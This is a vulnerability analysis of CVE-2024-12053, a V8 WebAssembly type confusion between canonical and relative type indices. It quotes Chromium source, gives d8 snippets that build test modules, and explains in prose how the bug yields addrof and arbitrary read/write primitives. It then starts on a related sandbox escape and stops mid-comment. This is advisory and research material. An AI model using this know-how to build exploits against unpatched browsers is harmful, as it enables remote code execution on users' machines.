WebAssembly Canonical vs. Relative Type Index Confusion Leading to RCE

Summary

CVE -2024 -12053 is an arbitrary WebAssembly type confusion vulnerability stemming from a mix-up between the canonical and relative indices of WebAssembly types. The Chromium team noted that this vulnerability was reported to have been exploited in the wild, combined with a sandbox escape technique reported as issue 361862752.

NOTE: This vulnerability was not discovered by SSD Labs.

The vendor has issued a fix for this CVE in Chrome build 134

Credit

This technical analysis of the CVE has been done by SSD Lab Korea team member: Aaron Cho

Affected Versions
  • Chrome build 133, 132 and 131
Analysis: CVE-2024-12053
WebAssembly type canonicalization

WebAssembly adopts a type system to enhance memory efficiency and ensure type safety. There are many types for various purposes.

Types – WebAssembly Specification

Type canonicalization is responsible for canonicalizing all types scattered across multiple WebAssembly modules into a single place, so that the types can be managed systematically and efficiently.

For example, WebAssembly functions are classified by their function signatures. For example, a function that takes one parameter and another function that takes two parameters are treated as different types.

/* src/codegen/signature.h:17-19 */

// Describes the inputs and outputs of a function or call.
template <typename T>
class Signature : public ZoneObject {
/* src/wasm/value-type.h:1175-1176 */

using FunctionSig = Signature<ValueType>;
using CanonicalSig = Signature<CanonicalValueType>;

The Signature class in V8 handles the function signature. Every function in a WebAssembly module should have its signature in the module’s type section.

;; test.wat

(module
  (func (param i32))
  (func (param i32 i32))
  (func (param i32 i32))
)

The WebAssembly module above defines three empty functions. The first one takes one 32-bit integer as its parameter, and the rest take two 32-bit integers.

The second and third share the same signature, so it’s defined in the module’s type section only once. Likewise, if the same type appears across multiple modules, it can be merged into a single canonical type.

/* src/wasm/canonical-types.h:41-52 */

// A singleton class, responsible for isorecursive canonicalization of wasm
// types.
// A recursive group is a subsequence of types explicitly marked in the type
// section of a wasm module. Identical recursive groups have to be canonicalized
// to a single canonical group. Respective types in two identical groups are
// considered identical for all purposes.
// Two groups are considered identical if they have the same shape, and all
// type indices referenced in the same position in both groups reference:
// - identical types, if those do not belong to the rec. group,
// - types in the same relative position in the group, if those belong to the
//   rec. group.
class TypeCanonicalizer {

Type canonicalization is managed by the TypeCanonicalizer singleton class, meaning only one instance exists at runtime. The comment for the class says it canonicalizes identical recursive groups. In WebAssembly, a recursive group refers to a group of types. Specifically, a recursive group containing only one type is called a recursive singleton group. A single type outside of any recursive group is also treated similarly to a recursive singleton group during the type canonicalization.

TypeCanonicalizer is constructed during V8 initialization.

/* src/wasm/canonical-types.cc:22 */

TypeCanonicalizer::TypeCanonicalizer() { AddPredefinedArrayTypes(); }

TypeCanonicalizer::TypeCanonicalizer() calls TypeCanonicalizer::AddPredefinedArrayTypes().

/* src/wasm/canonical-types.h:54-56 */

  static constexpr CanonicalTypeIndex kPredefinedArrayI8Index{0};
  static constexpr CanonicalTypeIndex kPredefinedArrayI16Index{1};
  static constexpr uint32_t kNumberOfPredefinedTypes = 2;
/* src/wasm/canonical-types.cc:191-211 */

void TypeCanonicalizer::AddPredefinedArrayTypes() {
  static constexpr std::pair<CanonicalTypeIndex, CanonicalValueType>
      kPredefinedArrayTypes[] = {{kPredefinedArrayI8Index, {kWasmI8}},
                                 {kPredefinedArrayI16Index, {kWasmI16}}};
  for (auto [index, element_type] : kPredefinedArrayTypes) {
    DCHECK_EQ(index.index, canonical_singleton_groups_.size());
    CanonicalSingletonGroup group;
    static constexpr bool kMutable = true;
    // TODO(jkummerow): Decide whether this should be final or nonfinal.
    static constexpr bool kFinal = true;
    static constexpr bool kShared = false;  // TODO(14616): Fix this.
    static constexpr bool kNonRelativeSupertype = false;
    CanonicalArrayType* type =
        zone_.New<CanonicalArrayType>(element_type, kMutable);
    group.type = CanonicalType(type, CanonicalTypeIndex{kNoSuperType}, kFinal,
                               kShared, kNonRelativeSupertype);
    canonical_singleton_groups_.emplace(group, index);
    canonical_supertypes_.emplace_back(CanonicalTypeIndex{kNoSuperType});
    DCHECK_LE(canonical_supertypes_.size(), kMaxCanonicalTypes);
  }
}

TypeCanonicalizer::AddPredefinedArrayTypes() adds some default canonical types to canonical_singleton_groups_. There are two predefined types, and they take the indices 0 and 1.

The next canonical type is added by WasmJs::Install() during the context creation.

/* src/wasm/wasm-js.cc:3207-3212 */

constexpr wasm::ValueType kWasmExceptionTagParams[] = {
    wasm::kWasmExternRef,
};
constexpr wasm::FunctionSig kWasmExceptionTagSignature{
    0, arraysize(kWasmExceptionTagParams), kWasmExceptionTagParams};
}  // namespace
/* src/wasm/wasm-js.cc:3475-3483 */

    // Reset the JSTag's canonical_type_index based on this Isolate's
    // type_canonicalizer.
    DirectHandle<WasmTagObject> js_tag_object(
        Cast<WasmTagObject>(native_context->wasm_js_tag()), isolate);
    js_tag_object->set_canonical_type_index(
        wasm::GetWasmEngine()
            ->type_canonicalizer()
            ->AddRecursiveGroup(&kWasmExceptionTagSignature)
            .index);

WasmJs::Install() canonicalizes the signature of js_tag_object.

In this case, the type is a function signature, so it’s added to both canonical_singleton_groups_ and canonical_function_sigs_. When it’s added to canonical_function_sigs_, the index is the same as when added to canonical_singleton_groups_, even though it’s the first function signature added. Therefore, the first and second slots of canonical_function_sigs_ remain empty.

Canonicalizing recursive singleton group
d8.file.execute("v8/test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();

// recursive singleton group
builder.startRecGroup();
let type = builder.nextTypeIndex();
builder.addType(makeSig([], [wasmRefType(type)]));
builder.endRecGroup();

builder.instantiate();

The JavaScript code above defines a WebAssembly module containing a recursive singleton group with a function signature with no parameters, and one return value whose type is a reference type that points to itself. During instantiation, the module’s type section is decoded by ModuleDecoderImpl::DecodeTypeSection().

/* src/wasm/wasm-limits.h:29 */

constexpr size_t kV8MaxWasmTypes = 1'000'000;
/* src/wasm/module-decoder-impl.h:625-627 */

  void DecodeTypeSection() {
    TypeCanonicalizer* type_canon = GetTypeCanonicalizer();
    uint32_t types_count = consume_count("types count", kV8MaxWasmTypes);

types_count is the number of recursive groups, not the individual types. It can’t exceed kV8MaxWasmTypes.

/* src/wasm/wasm-constants.h:65 */

constexpr uint8_t kWasmRecursiveTypeGroupCode = 0x4e;
/* src/wasm/module-decoder-impl.h:629-662 */

    for (uint32_t i = 0; ok() && i < types_count; ++i) {
      TRACE("DecodeType[%d] module+%d\n", i, static_cast<int>(pc_ - start_));
      uint8_t kind = read_u8<Decoder::FullValidationTag>(pc(), "type kind");
      size_t initial_size = module_->types.size();
      if (kind == kWasmRecursiveTypeGroupCode) {
        module_->is_wasm_gc = true;
        uint32_t rec_group_offset = pc_offset();
        consume_bytes(1, "rec. group definition", tracer_);
        if (tracer_) tracer_->NextLine();
        uint32_t group_size =
            consume_count("recursive group size", kV8MaxWasmTypes);
        if (tracer_) tracer_->RecGroupOffset(rec_group_offset, group_size);
        if (initial_size + group_size > kV8MaxWasmTypes) {
          errorf(pc(), "Type definition count exceeds maximum %zu",
                 kV8MaxWasmTypes);
          return;
        }
        // We need to resize types before decoding the type definitions in this
        // group, so that the correct type size is visible to type definitions.
        module_->types.resize(initial_size + group_size);
        module_->isorecursive_canonical_type_ids.resize(initial_size +
                                                        group_size);
        for (uint32_t j = 0; j < group_size; j++) {
          if (tracer_) tracer_->TypeOffset(pc_offset());
          TypeDefinition type = consume_subtype_definition(initial_size + j);
          module_->types[initial_size + j] = type;
        }
        if (failed()) return;
        type_canon->AddRecursiveGroup(module_.get(), group_size);
        if (tracer_) {
          tracer_->Description("end of rec. group");
          tracer_->NextLine();
        }
      } else {

The builder.startRecGroup(); statement sets the group’s kind to kWasmRecursiveTypeGroupCode. In this case, the type is handled by TypeCanonicalizer::AddRecursiveGroup().

/* src/wasm/canonical-types.cc:30-41 */

void TypeCanonicalizer::AddRecursiveGroup(WasmModule* module, uint32_t size) {
  AddRecursiveGroup(module, size,
                    static_cast<uint32_t>(module->types.size() - size));
}

void TypeCanonicalizer::AddRecursiveGroup(WasmModule* module, uint32_t size,
                                          uint32_t start_index) {
  if (size == 0) return;
  // If the caller knows statically that {size == 1}, it should have called
  // {AddRecursiveSingletonGroup} directly. For cases where this is not
  // statically determined we add this dispatch here.
  if (size == 1) return AddRecursiveSingletonGroup(module, start_index);

There is only one type in the recursive singleton group, so TypeCanonicalizer::AddRecursiveGroup() calls TypeCanonicalizer::AddRecursiveSingletonGroup().

/* src/wasm/canonical-types.cc:104-111 */

void TypeCanonicalizer::AddRecursiveSingletonGroup(WasmModule* module,
                                                   uint32_t start_index) {
  base::MutexGuard guard(&mutex_);
  DCHECK_GT(module->types.size(), start_index);
  CanonicalTypeIndex canonical_index = AddRecursiveGroup(
      CanonicalizeTypeDef(module, module->types[start_index], start_index));
  module->isorecursive_canonical_type_ids[start_index] = canonical_index;
}

TypeCanonicalizer::AddRecursiveSingletonGroup() calls TypeCanonicalizer::CanonicalizeTypeDef() to create a TypeCanonicalizer::CanonicalType object for the type.

/* src/wasm/canonical-types.cc:271-310 */

  switch (type.kind) {
    case TypeDefinition::kFunction: {
      const FunctionSig* original_sig = type.function_sig;
      CanonicalSig::Builder builder(&zone_, original_sig->return_count(),
                                    original_sig->parameter_count());
      for (ValueType ret : original_sig->returns()) {
        builder.AddReturn(
            CanonicalizeValueType(module, ret, recursive_group_start));
      }
      for (ValueType param : original_sig->parameters()) {
        builder.AddParam(
            CanonicalizeValueType(module, param, recursive_group_start));
      }
      return CanonicalType(builder.Get(), supertype, type.is_final,
                           type.is_shared, is_relative_supertype);
    }
    case TypeDefinition::kStruct: {
      const StructType* original_type = type.struct_type;
      CanonicalStructType::Builder builder(&zone_,
                                           original_type->field_count());
      for (uint32_t i = 0; i < original_type->field_count(); i++) {
        builder.AddField(CanonicalizeValueType(module, original_type->field(i),
                                               recursive_group_start),
                         original_type->mutability(i),
                         original_type->field_offset(i));
      }
      builder.set_total_fields_size(original_type->total_fields_size());
      return CanonicalType(
          builder.Build(CanonicalStructType::Builder::kUseProvidedOffsets),
          supertype, type.is_final, type.is_shared, is_relative_supertype);
    }
    case TypeDefinition::kArray: {
      CanonicalValueType element_type = CanonicalizeValueType(
          module, type.array_type->element_type(), recursive_group_start);
      CanonicalArrayType* array_type = zone_.New<CanonicalArrayType>(
          element_type, type.array_type->mutability());
      return CanonicalType(array_type, supertype, type.is_final, type.is_shared,
                           is_relative_supertype);
    }
  }

TypeCanonicalizer::CanonicalizeTypeDef() calls TypeCanonicalizer::CanonicalizeValueType() for all types used.

For example, if type.kind is TypeDefinition::kFunction, which means a function signature, TypeCanonicalizer::CanonicalizeTypeDef() canonicalizes all types used as the parameters and return values of the signature.

/* src/wasm/value-type.h:642-644 */

  constexpr bool has_index() const {
    return is_rtt() || (is_object_reference() && heap_type().is_index());
  }
/* src/wasm/canonical-types.cc:213-216 */

CanonicalValueType TypeCanonicalizer::CanonicalizeValueType(
    const WasmModule* module, ValueType type,
    uint32_t recursive_group_start) const {
  if (!type.has_index()) return CanonicalValueType{type};

TypeCanonicalizer::CanonicalizeValueType() just returns CanonicalValueType{type} if type.has_index() is false. ValueTypeBase::has_index() returns true if the type is RTT or if it references another heap type.

/* src/wasm/canonical-types.cc:218-222 */

  return type.ref_index().index >= recursive_group_start
             ? CanonicalValueType::WithRelativeIndex(
                   type.kind(), type.ref_index().index - recursive_group_start)
             : CanonicalValueType::FromIndex(
                   type.kind(), module->canonical_type_id(type.ref_index()));

type.ref_index().index >= recursive_group_start means that the type references another type in the same recursive group. The relative index can be used in this case, thus TypeCanonicalizer::CanonicalizeValueType() returns a CanonicalValueType object created by CanonicalValueType::WithRelativeIndex().

/* src/wasm/value-type.h:1059-1064 */

  static constexpr CanonicalValueType WithRelativeIndex(ValueKind kind,
                                                        uint32_t index) {
    return CanonicalValueType{
        ValueTypeBase(KindField::encode(kind) | HeapTypeField::encode(index) |
                      CanonicalRelativeField::encode(true))};
  }

CanonicalValueType::WithRelativeIndex() sets KindField of bit_field_ to kind, HeapTypeField to index, and CanonicalRelativeField to true, meaning that the index is the relative index of the type in the recursive group, then creates and returns a CanonicalValueType object with the bit_field_.

/* src/wasm/canonical-types.cc:104-111 */

void TypeCanonicalizer::AddRecursiveSingletonGroup(WasmModule* module,
                                                   uint32_t start_index) {
  base::MutexGuard guard(&mutex_);
  DCHECK_GT(module->types.size(), start_index);
  CanonicalTypeIndex canonical_index = AddRecursiveGroup(
      CanonicalizeTypeDef(module, module->types[start_index], start_index));
  module->isorecursive_canonical_type_ids[start_index] = canonical_index;
}

The TypeCanonicalizer::CanonicalType object returned by TypeCanonicalizer::CanonicalizeTypeDef() is passed to TypeCanonicalizer::AddRecursiveGroup().

/* src/wasm/canonical-types.cc:151-181 */

CanonicalTypeIndex TypeCanonicalizer::AddRecursiveGroup(CanonicalType type) {
  DCHECK(!mutex_.TryLock());  // The caller must hold the mutex.
  CanonicalSingletonGroup group{type};
  if (CanonicalTypeIndex index = FindCanonicalGroup(group); index.valid()) {
    //  Make sure this signature can be looked up later.
    DCHECK_IMPLIES(type.kind == CanonicalType::kFunction,
                   canonical_function_sigs_.count(index));
    return index;
  }
  static_assert(kMaxCanonicalTypes <= kMaxUInt32);
  CanonicalTypeIndex index{static_cast<uint32_t>(canonical_supertypes_.size())};
  // Check that this canonical ID is not used yet.
  DCHECK(std::none_of(canonical_singleton_groups_.begin(),
                      canonical_singleton_groups_.end(),
                      [=](auto& entry) { return entry.second == index; }));
  DCHECK(std::none_of(canonical_groups_.begin(), canonical_groups_.end(),
                      [=](auto& entry) { return entry.second == index; }));
  canonical_singleton_groups_.emplace(group, index);
  // Compute the canonical index of the supertype: If it is relative, we
  // need to add {canonical_index}.
  canonical_supertypes_.push_back(
      type.is_relative_supertype
          ? CanonicalTypeIndex{type.supertype.index + index.index}
          : type.supertype);
  if (type.kind == CanonicalType::kFunction) {
    const CanonicalSig* sig = type.function_sig;
    CHECK(canonical_function_sigs_.emplace(index, sig).second);
  }
  CheckMaxCanonicalIndex();
  return index;
}

TypeCanonicalizer::AddRecursiveGroup() creates a singleton group containing the type, and adds it to canonical_singleton_groups_. In case the type is a function signature, it’s added to canonical_function_sigs_.

Canonicalizing single type
/* src/wasm/wasm-constants.h:58-65 */

// Binary encoding of type definitions.
constexpr uint8_t kSharedFlagCode = 0x65;
constexpr uint8_t kWasmFunctionTypeCode = 0x60;
constexpr uint8_t kWasmStructTypeCode = 0x5f;
constexpr uint8_t kWasmArrayTypeCode = 0x5e;
constexpr uint8_t kWasmSubtypeCode = 0x50;
constexpr uint8_t kWasmSubtypeFinalCode = 0x4f;
constexpr uint8_t kWasmRecursiveTypeGroupCode = 0x4e;

In ModuleDecoderImpl::DecodeTypeSection(), kind is set to one of the type definitions above if there’s no builder.startRecGroup(); statement.

d8.file.execute("v8/test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();

// single type (treated similarly to recursive singleton group)
let type = builder.nextTypeIndex();
builder.addType(makeSig([], [wasmRefType(type)]));

builder.instantiate();

The type is a function signature in this case, so kind is set to kWasmFunctionTypeCode.

/* src/wasm/module-decoder-impl.h:662-677 */

      } else {
        if (tracer_) tracer_->TypeOffset(pc_offset());
        if (initial_size + 1 > kV8MaxWasmTypes) {
          errorf(pc(), "Type definition count exceeds maximum %zu",
                 kV8MaxWasmTypes);
          return;
        }
        // Similarly to above, we need to resize types for a group of size 1.
        module_->types.resize(initial_size + 1);
        module_->isorecursive_canonical_type_ids.resize(initial_size + 1);
        TypeDefinition type = consume_subtype_definition(initial_size);
        if (ok()) {
          module_->types[initial_size] = type;
          type_canon->AddRecursiveSingletonGroup(module_.get());
        }
      }

kind is not kWasmRecursiveTypeGroupCode, so ModuleDecoderImpl::DecodeTypeSection() directly calls TypeCanonicalizer::AddRecursiveSingletonGroup().

/* src/wasm/canonical-types.cc:99-111 */

void TypeCanonicalizer::AddRecursiveSingletonGroup(WasmModule* module) {
  uint32_t start_index = static_cast<uint32_t>(module->types.size() - 1);
  return AddRecursiveSingletonGroup(module, start_index);
}

void TypeCanonicalizer::AddRecursiveSingletonGroup(WasmModule* module,
                                                   uint32_t start_index) {
  base::MutexGuard guard(&mutex_);
  DCHECK_GT(module->types.size(), start_index);
  CanonicalTypeIndex canonical_index = AddRecursiveGroup(
      CanonicalizeTypeDef(module, module->types[start_index], start_index));
  module->isorecursive_canonical_type_ids[start_index] = canonical_index;
}

Once TypeCanonicalizer::AddRecursiveSingletonGroup() is hit, it follows the same path as we examined before.

Canonicalizing recursive group
d8.file.execute("v8/test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();

// recursive group
builder.startRecGroup();
let type = builder.nextTypeIndex();
builder.addType(makeSig([], [wasmRefType(type)]));
builder.addType(makeSig([], [wasmRefType(type)]));
builder.endRecGroup();

builder.instantiate();
/* src/wasm/canonical-types.cc:43-51 */

  // Multiple threads could try to register recursive groups concurrently.
  // TODO(manoskouk): Investigate if we can fine-grain the synchronization.
  base::MutexGuard mutex_guard(&mutex_);
  DCHECK_GE(module->types.size(), start_index + size);
  CanonicalGroup group{&zone_, size};
  for (uint32_t i = 0; i < size; i++) {
    group.types[i] = CanonicalizeTypeDef(module, module->types[start_index + i],
                                         start_index);
  }

If size is greater than 1, TypeCanonicalizer::AddRecursiveGroup() calls TypeCanonicalizer::CanonicalizeTypeDef() for each type in the recursive group. TypeCanonicalizer::CanonicalizeTypeDef() follows the same path as we examined before to create a TypeCanonicalizer::CanonicalType object, and TypeCanonicalizer::AddRecursiveGroup() stores it in group.types.

/* src/wasm/canonical-types.cc:96 */

  canonical_groups_.emplace(group, CanonicalTypeIndex{first_canonical_index});

TypeCanonicalizer::AddRecursiveGroup() adds the recursive group that has more than one type to canonical_groups_.

Root cause
/* src/wasm/value-type.h:902-905 */

  constexpr uint32_t ref_index() const {
    DCHECK(has_index());
    return HeapTypeField::decode(bit_field_);
  }

ValueTypeBase::ref_index() decodes the value in HeapTypeField from bit_field_ of the ValueTypeBase object.

/* src/wasm/value-type.h:1077-1079 */

  constexpr CanonicalTypeIndex ref_index() const {
    return CanonicalTypeIndex{ValueTypeBase::ref_index()};
  }

CanonicalValueType::ref_index() converts the index returned by ValueTypeBase::ref_index() into a CanonicalTypeIndex object.

/* src/wasm/value-type.h:1059-1064 */

  static constexpr CanonicalValueType WithRelativeIndex(ValueKind kind,
                                                        uint32_t index) {
    return CanonicalValueType{
        ValueTypeBase(KindField::encode(kind) | HeapTypeField::encode(index) |
                      CanonicalRelativeField::encode(true))};
  }

When the relative index is used, CanonicalValueType::WithRelativeIndex() encodes index in HeapTypeField, and true in CanonicalRelativeField, indicating the value in HeapTypeField is a relative index.

However, the return value of ValueTypeBase::ref_index() does not distinguish between canonical and relative indices. Consequently, the caller may misinterpret a relative index as a canonical one when ValueTypeBase::ref_index() returns the relative index, while the caller of CanonicalValueType::ref_index() expects the canonical index.

Exploitation: CVE-2024-12053
Triggering Index Confusion
/* src/runtime/runtime-wasm.cc:184-204 */

// Takes a JS object and a wasm type as Smi. Type checks the object against the
// type; if the check succeeds, returns the object in its wasm representation;
// otherwise throws a type error.
RUNTIME_FUNCTION(Runtime_WasmGenericJSToWasmObject) {
  HandleScope scope(isolate);
  DCHECK_EQ(3, args.length());
  Handle<Object> value(args[1], isolate);
  // Make sure CanonicalValueType fits properly in a Smi.
  static_assert(wasm::CanonicalValueType::kLastUsedBit + 1 <= kSmiValueSize);
  int raw_type = args.smi_value_at(2);

  wasm::CanonicalValueType type =
      wasm::CanonicalValueType::FromRawBitField(raw_type);
  const char* error_message;
  Handle<Object> result;
  if (!JSToWasmObject(isolate, value, type, &error_message).ToHandle(&result)) {
    return isolate->Throw(*isolate->factory()->NewTypeError(
        MessageTemplate::kWasmTrapJSTypeError));
  }
  return *result;
}

Runtime_WasmGenericJSToWasmObject() is called by the generic JS-to-Wasm wrapper to ensure the argument is compatible with the type. value is the object passed to the WebAssembly function as an argument, and raw_type is the expected type of the parameter. Runtime_WasmGenericJSToWasmObject() calls JSToWasmObject() to check whether the value fits the raw_type so that it can be accepted.

/* src/wasm/wasm-objects.cc:3058-3060 */

    default: {
      DCHECK(expected.has_index());
      CanonicalTypeIndex canonical_index = expected.ref_index();

If the parameter references a user-defined type rather than a default heap type, JSToWasmObject() tries to get its canonical index using CanonicalValueType::ref_index(). However, the problem is that the return value of CanonicalValueType::ref_index() could be the relative index.

/* src/wasm/wasm-objects.cc:3096-3110 */
      } else if (IsWasmStruct(*value) || IsWasmArray(*value)) {
        auto wasm_obj = Cast<WasmObject>(value);
        Tagged<WasmTypeInfo> type_info = wasm_obj->map()->wasm_type_info();
        ModuleTypeIndex real_idx = type_info->type_index();
        const WasmModule* real_module =
            type_info->trusted_data(isolate)->module();
        CanonicalTypeIndex real_canonical_index =
            real_module->canonical_type_id(real_idx);
        if (!type_canonicalizer->IsCanonicalSubtype(real_canonical_index,
                                                    canonical_index)) {
          *error_message = "object is not a subtype of expected type";
          return {};
        }
        return value;
      } else {

If the argument is a WebAssembly struct or array object, JSToWasmObject() calls TypeCanonicalizer::IsCanonicalSubtype() to check whether the type of the argument is a subtype of the type at the canonical_index. However, the canonical_index could have been set to the relative index of the parameter type. We can trigger type confusion between a type outside the recursive group and one inside it by ensuring the canonical index of the former matches the relative index of the latter. This eventually leads us to arbitrary WebAssembly type confusion.

Implementing addrof primitive

We can trigger confusion between a struct of kWasmExternRef and another struct of kWasmI32. We can obtain the compressed address of a JavaScript object as a 32-bit integer, by placing it into a kWasmExternRef struct and reading it via a kWasmI32 struct.

Implementing arbitrary address read / write

If a WebAssembly function has the WasmStruct type as a parameter, it takes the address of the WasmStruct object and accesses that address to read or write the value. We can force the function to access an arbitrary address by triggering confusion between a WasmStruct object and a 32-bit integer.

Analysis: Issue 361862752
Calling Exported WebAssembly Function
d8.file.execute("v8/test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();

let $struct = builder.addStruct([makeField(kWasmI64, true)]);

builder.addFunction("f", makeSig([kWasmI64], [wasmRefType($struct)]))
  .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprStructNew, $struct, 1,
  ])
  .exportFunc();

let instance = builder.instantiate();

let struct = instance.exports.f(0x4141414141414141n);
% DebugPrint(struct); 

The JavaScript code above invokes an exported WebAssembly function that accepts a 64-bit integer parameter and returns a struct containing that integer.

/* src/builtins/builtins-call-gen.cc:35-37 */

void Builtins::Generate_CallFunction_ReceiverIsAny(MacroAssembler* masm) {
  Generate_CallFunction(masm, ConvertReceiverMode::kAny);
}

The function call is handled by Builtins_CallFunction_ReceiverIsAny(), generated by Builtins::Generate_CallFunction_ReceiverIsAny().

/* src/builtins/x64/builtins-x64.cc:2566-2567 */

#ifdef V8_ENABLE_LEAPTIERING
  __ InvokeFunctionCode(rdi, no_reg, rax, InvokeType::kJump);

Builtins::Generate_CallFunction() calls MacroAssembler::InvokeFunctionCode() to generate the function invocation sequence.

/* src/codegen/x64/macro-assembler-x64.cc:3955-3957 */

void MacroAssembler::InvokeFunctionCode(
    Register function, Register new_target, Register actual_parameter_count,
    InvokeType type, ArgumentAdaptionMode argument_adaption_mode) {

type is set to InvokeType::kJump.

/* src/objects/js-function.tq:28-40 */

// This class does not use the generated verifier, so if you change anything
// here, please also update JSFunctionVerify in objects-debug.cc.
@highestInstanceTypeWithinParentClassRange
extern class JSFunction extends JSFunctionOrBoundFunctionOrWrappedFunction {
  // TODO(saelo): drop this field once we call through the dispatch_handle.
  @ifnot(V8_ENABLE_LEAPTIERING) code: TrustedPointer<Code>;
  @if(V8_ENABLE_LEAPTIERING) dispatch_handle: int32;
  shared_function_info: SharedFunctionInfo;
  context: Context;
  feedback_cell: FeedbackCell;
  // Space for the following field may or may not be allocated.
  prototype_or_initial_map: JSReceiver|Map;
}
/* src/codegen/x64/register-x64.h:287 */

constexpr Register kJavaScriptCallDispatchHandleRegister = r15;
/* src/codegen/x64/macro-assembler-x64.cc:3964-3966 */

  Register dispatch_handle = kJavaScriptCallDispatchHandleRegister;
  movl(dispatch_handle,
       FieldOperand(function, JSFunction::kDispatchHandleOffset));

Builtins_CallFunction_ReceiverIsAny() retrieves the dispatch_handle from the Function object and loads it into r15. This handle is used to access the function’s corresponding entry in the JS dispatch table.

/* src/sandbox/js-dispatch-table.h:70-101 */

  // Constants for access from generated code.
  // These are static_assert'ed to be correct in CheckFieldOffsets().
  static constexpr uintptr_t kEntrypointOffset = 0;
  static constexpr uintptr_t kCodeObjectOffset = 8;
  static constexpr uint32_t kObjectPointerShift = 16;
  static constexpr uint32_t kParameterCountMask = 0xffff;
  static void CheckFieldOffsets();

 private:
  friend class JSDispatchTable;

  // Freelist entries contain the index of the next free entry in their lower 32
  // bits and are tagged with this tag.
  static constexpr Address kFreeEntryTag = 0xffff000000000000ull;

  // The first word contains the pointer to the (executable) entrypoint.
  std::atomic<Address> entrypoint_;

  // The second word of the entry contains (1) the pointer to the code object
  // associated with this entry, (2) the marking bit of the entry in the LSB of
  // the object pointer (which must be unused as the address must be aligned),
  // and (3) the 16-bit parameter count. The parameter count is stored in the
  // lower 16 bits and therefore the pointer is shifted to the left. The final
  // format therefore looks as follows:
  //
  // +------------------------+-------------+-----------------+
  // |     Bits 63 ... 17     |   Bit 16    |  Bits 15 ... 0  |
  // |   HeapObject pointer   | Marking bit | Parameter count |
  // +------------------------+-------------+-----------------+
  //
  static constexpr Address kMarkingBit = 1 << 16;
  std::atomic<Address> encoded_word_;

A JSDispatchEntry consists of two fields: entrypoint_ and encoded_word_.

/* src/codegen/x64/macro-assembler-x64.cc:3987-3992 */

  if (argument_adaption_mode == ArgumentAdaptionMode::kAdapt) {
    Register expected_parameter_count = rbx;
    LoadParameterCountFromJSDispatchTable(expected_parameter_count,
                                          dispatch_handle);
    InvokePrologue(expected_parameter_count, actual_parameter_count, type);
  }
/* include/v8-internal.h:831-844 */

// The size of the virtual memory reservation for the JSDispatchTable.
// As with the other tables, a maximum table size in combination with shifted
// indices allows omitting bounds checks.
constexpr size_t kJSDispatchTableReservationSize = 128 * MB;
constexpr uint32_t kJSDispatchHandleShift = 9;

// The maximum number of entries in a JSDispatchTable.
constexpr int kJSDispatchTableEntrySize = 16;
constexpr int kJSDispatchTableEntrySizeLog2 = 4;
constexpr size_t kMaxJSDispatchEntries =
    kJSDispatchTableReservationSize / kJSDispatchTableEntrySize;
static_assert((1 << (32 - kJSDispatchHandleShift)) == kMaxJSDispatchEntries,
              "kJSDispatchTableReservationSize and kJSDispatchEntryHandleShift "
              "don't match");
/* src/codegen/x64/macro-assembler-x64.cc:683-693 */

void MacroAssembler::LoadParameterCountFromJSDispatchTable(
    Register destination, Register dispatch_handle) {
  DCHECK(!AreAliased(destination, dispatch_handle, kScratchRegister));
  LoadAddress(kScratchRegister, ExternalReference::js_dispatch_table_address());
  movq(destination, dispatch_handle);
  shrl(destination, Immediate(kJSDispatchHandleShift));
  shll(destination, Immediate(kJSDispatchTableEntrySizeLog2));
  static_assert(JSDispatchEntry::kParameterCountMask == 0xffff);
  movzxwq(destination, Operand(kScratchRegister, destination, times_1,
                               JSDispatchEntry::kCodeObjectOffset));
}

MacroAssembler::InvokeFunctionCode() first calls MacroAssembler::LoadParameterCountFromJSDispatchTable(), which generates instructions that load the parameter count from the entry’s encoded_word_.

/* src/codegen/x64/macro-assembler-x64.cc:3998-4006 */

  LoadEntrypointFromJSDispatchTable(rcx, dispatch_handle);
  switch (type) {
    case InvokeType::kCall:
      call(rcx);
      break;
    case InvokeType::kJump:
      jmp(rcx);
      break;
  }
/* src/codegen/x64/macro-assembler-x64.cc:672-681 */

void MacroAssembler::LoadEntrypointFromJSDispatchTable(
    Register destination, Register dispatch_handle) {
  DCHECK(!AreAliased(destination, dispatch_handle, kScratchRegister));
  LoadAddress(kScratchRegister, ExternalReference::js_dispatch_table_address());
  movq(destination, dispatch_handle);
  shrl(destination, Immediate(kJSDispatchHandleShift));
  shll(destination, Immediate(kJSDispatchTableEntrySizeLog2));
  movq(destination, Operand(kScratchRegister, destination, times_1,
                            JSDispatchEntry::kEntrypointOffset));
}

Next, MacroAssembler::InvokeFunctionCode() calls MacroAssembler::LoadEntrypointFromJSDispatchTable(), which generates instructions that load the function’s entrypoint, and jumps to the entrypoint.

JS-to-Wasm Wrapper

For the exported function to be invoked from JavaScript, its parameters must be converted into a format WebAssembly can process, and its return values converted back into JavaScript objects. The JS-to-Wasm wrapper handles these operations. The Function object corresponding to the exported function holds the address of a prebuilt JS-to-Wasm wrapper in the corresponding entry in the JS dispatch table. This generic wrapper is universal and works regardless of the function signature. While it improves startup time by avoiding runtime compilation, it suffers from slower execution due to generic dispatch overhead.

When the exported function is invoked, Builtins_CallFunction_ReceiverIsAny() jumps to Builtins_JSToWasmWrapper().

/* src/objects/js-function.tq:28-40 */

// This class does not use the generated verifier, so if you change anything
// here, please also update JSFunctionVerify in objects-debug.cc.
@highestInstanceTypeWithinParentClassRange
extern class JSFunction extends JSFunctionOrBoundFunctionOrWrappedFunction {
  // TODO(saelo): drop this field once we call through the dispatch_handle.
  @ifnot(V8_ENABLE_LEAPTIERING) code: TrustedPointer<Code>;
  @if(V8_ENABLE_LEAPTIERING) dispatch_handle: int32;
  shared_function_info: SharedFunctionInfo;
  context: Context;
  feedback_cell: FeedbackCell;
  // Space for the following field may or may not be allocated.
  prototype_or_initial_map: JSReceiver|Map;
}

Builtins_JSToWasmWrapper() reads the address of the SharedFunctionInfo object from the Function object.

/* src/objects/shared-function-info.tq:57-104 */

extern class SharedFunctionInfo extends HeapObject {
  // For the sandbox, the SFI's function data is split into a trusted and an
  // untrusted part.
  // The field is treated as a custom weak pointer. We visit this field as a
  // weak pointer if there is aged bytecode. If there is no bytecode or if the
  // bytecode is young then we treat it as a strong pointer. This is done to
  // support flushing of bytecode.
  // TODO(chromium:1490564): we should see if these two fields can again be
  // merged into a single field (when all possible data objects are moved into
  // trusted space), or if we can turn this into a trusted code and an
